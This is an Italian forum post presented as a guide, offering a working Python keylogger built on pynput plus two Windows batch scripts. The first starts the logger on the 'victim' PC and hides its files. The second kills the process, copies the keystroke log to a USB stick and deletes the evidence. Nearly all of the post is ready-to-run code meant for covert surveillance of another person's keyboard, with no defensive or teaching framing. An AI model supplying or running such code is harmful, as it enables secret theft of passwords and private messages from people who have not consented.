Guida Keylogger python + Script batch

22 Febbraio 2022
475
42
353
350
Ultima modifica:
Ciao, Ho fatto il tipico keylogger base in python, con pyinput, e due script batch per farlo partire e far nascondere il keylogger e il file log e per farlo "spegnere" e salvare i file log su una usb esterna.
Il keylogger si avvia in background. per chiuderlo basta andare in "gestione attività" cercare python e fare "termina attività"

keylogger:
Python:
from pynput.keyboard import Key, Listener
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "keylogs.txt"), \
    level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as l:
    l.join()
poi ho fatto questo script batch per farlo partire e per nascondere il file keylogs.txt, keylog.pyw e startLoG.bat, tutto questo e da fare sul pc ''vittima''.
Codice:
@echo off
cls
REM AVVIO DEL KEYLOGGER
start keylog.pyw
REM  CELAMENTO DEI FILE USATI
attrib +h "%userprofile%\Desktop\keylogger"
attrib +h *.pyw
attrib +h *.txt
attrib +h *.bat
Il 2 script batch serve per chiudere il keylogger, salvare il file keylogs.txt nella chiavetta usb ed eliminare il keylogger, il log e il batch.
Codice:
@echo off
cls
REM SHUTDOWN KEYLOGGER
echo ---cleanLoG---
taskkill /F /IM pythonw.exe
REM COPIA FILLE KEYLOGGER
xcopy "%userprofile%\Desktop\keylogger" d:\LoGbackUp/e/i
REM ELIMINAZIONE DIRECTORY KEYLOGGER
rmdir /q/s "%userprofile%\desktop\keylogger"